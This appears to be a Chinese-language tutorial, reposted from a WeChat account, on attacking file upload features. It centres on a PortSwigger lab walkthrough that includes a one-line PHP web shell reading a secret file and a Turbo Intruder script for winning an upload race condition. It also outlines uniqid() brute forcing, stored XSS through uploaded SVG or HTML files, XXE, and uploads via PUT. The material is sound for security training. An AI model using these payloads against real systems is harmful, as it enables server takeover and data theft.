在本节中,将展示如何绕过常见的防御机制上传Web Shell,从而能够完全控制易受攻击的服务器。
利用文件上传竞争条件
现代的网站框架更能抵御文件上传漏洞的攻击,他们通常不会将文件直接上传到文件系统的预期目的地。相反,他们采取了防御措施,例如首先上传到临时的沙盒并随机命名以覆盖现有文件,然后对这个临时文件执行验证,只有在认为安全的情况下才将其传输到目的地。
问题是开发人员有时会独立于任何框架来实现自己的文件上传处理,但要做好这件事不仅相当复杂,而且还可能引入危险的竞争条件,使攻击者能够完全绕过最强大的验证。
例如,有些网站直接将文件上传到主文件系统,如果没有通过验证,则再次将其删除。这种行为在依赖防病毒等软件进行恶意代码检测的网站中很常见,这可能只需要几毫秒,但利用文件存在于服务器的短时间内,攻击者仍有可能执行它。
这些漏洞通常非常微妙,因此在黑盒测试期间很难检测到,除非能找到相关的源代码。
场景试验-通过竞争条件上传Web Shell:
https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-race-condition
场景说明:
这个试验场景包含易受攻击的图片上传功能,尽管它对上传的任何文件都进行强大的验证,但可以通过在处理文件的方式中利用竞争条件来完全绕过此验证。
试验目的:
要完成这个试验,需要上传一个基本的PHP Web Shell并使用它来泄露文件/home/carlos/secret的内容,并使用试验场景提供的按钮来提交此密钥。可以使用wiener:peter来登录自己的账号。
攻击过程:
①用wiener账号登录后,尝试上传一个.php的脚本,脚本内容如下,但是发现被禁止了
echo file_get_contents('/home/carlos/secret');
②这个场景提供了一段源码,可以看到文件在进行病毒扫描和类型过滤时会先在临时文件夹中缓存
③要利用文件驻留的窗口期(几百毫秒)来执行文件,需要利用Burp的插件"Turbo Intruder"来完成,先在BApp store中安装,这插件可以实现高速发包
④插件安装好后,将上传.php的请求发送到这个插件
⑤弹出界面后,将下面这段脚本复制到脚本框中,这段脚本主要作用是在发出上传文件请求后,马上发出5个获取文件的请求
def queueRequests(target, wordlists):
engine =RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''<YOUR-POST-REQUEST>'''
request2 = '''<YOUR-GET-REQUEST>'''
#the 'gate' argument blocks the final byteof each request until openGate is invoked engine.queue(request1, gate='race1')
for x in range(5): engine.queue(request2,gate='race1')
# wait until every 'race1' tagged request isready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
⑥脚本中<YOUR-POST-REQUEST>的地方把整个POST /my-account/avatar请求包括内容全部都替换进去
⑦脚本中<YOUR-GET-REQUEST>的地方把GET /files/avatars/attack.php请求替换进去,随后点击最下面的"Attack"
⑧结果出来后,将盗取到的密钥提交即可完成本试验
试验小结:
这个试验场景稍微有些复杂,但是跟有些实际场景其实比较相似,能够利用的攻击窗口时间很短,这个时候就需要利用Burp的插件来协助进行攻击。
基于URL的文件上传竞争条件
在允许通过提供的URL来上传文件的函数中可能会出现类似的竞争条件。在这种情况下,服务器必须通过Internet获取文件并创建本地副本,然后才能执行验证。
由于文件是使用HTTP加载的,因此开发人员无法使用其框架的内置机制来安全地验证文件,而相反通过手动创建自己的流程来临时存储和验证文件,这可能不太安全。
例如,如果将文件加载到具有随机名称的临时目录中,理论上攻击者应该不可能利用任何竞争条件。因为他们不知道目录的名称,就无法请求文件以触发其执行。但如果随机目录名称是使用PHP的uniqid()等伪随机函数生成的,则可能会被暴力破解。
为了使此类攻击更容易,可以尝试延长处理文件所需的时间,从而延长暴力破解目录名称窗口期。一种方法是上传更大的文件,如果是以块的形式处理文件,我们可以通过在一个恶意文件中大量填充任意字节来实现这一点。
无需远程执行代码即可利用文件上传漏洞
在前面看到的示例中,我们能够上传服务器端脚本并进行远程执行。这是不安全的文件上传功能最严重的后果,但这些漏洞仍然可以通过其他方式被利用。
◆上传恶意客户端脚本
尽管可能无法在服务器上执行脚本,但仍然可以上传脚本以客户端进行攻击。
例如,可以上传HTML文件或SVG图像,就可以使用<script>标签来创建存储型XSS攻击。
如果上传的文件随后出现在其他用户访问的页面上,那么他们的浏览器将在尝试呈现页面时执行脚本。
◆利用上传文件解析漏洞
如果上传的文件看起来在传输和存储方面都很安全,那么最后的手段是尝试利用服务器特定的解析或处理不同类型文件的漏洞。
例如,如果知道服务器解析基于XML文件,比如.xls等,这可能就是XXE注入攻击的潜在载体。
使用PUT上传文件
值得注意的是,一些Web服务器可能被配置为支持PUT请求。如果没有适当的防御措施,即使上传功能无法通过Web界面使用,也可以用这种方式进行替代。
可以尝试将OPTIONS请求发送到不同的端点,以测试是否支持PUT方法。
SQL注入攻击-检索隐藏的数据
HTTP高级请求走私-响应队列中毒
HTTP Host头漏洞攻击-概念梳理
原文始发于微信公众号(H君网安白话):文件上传漏洞-攻击示例(四)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论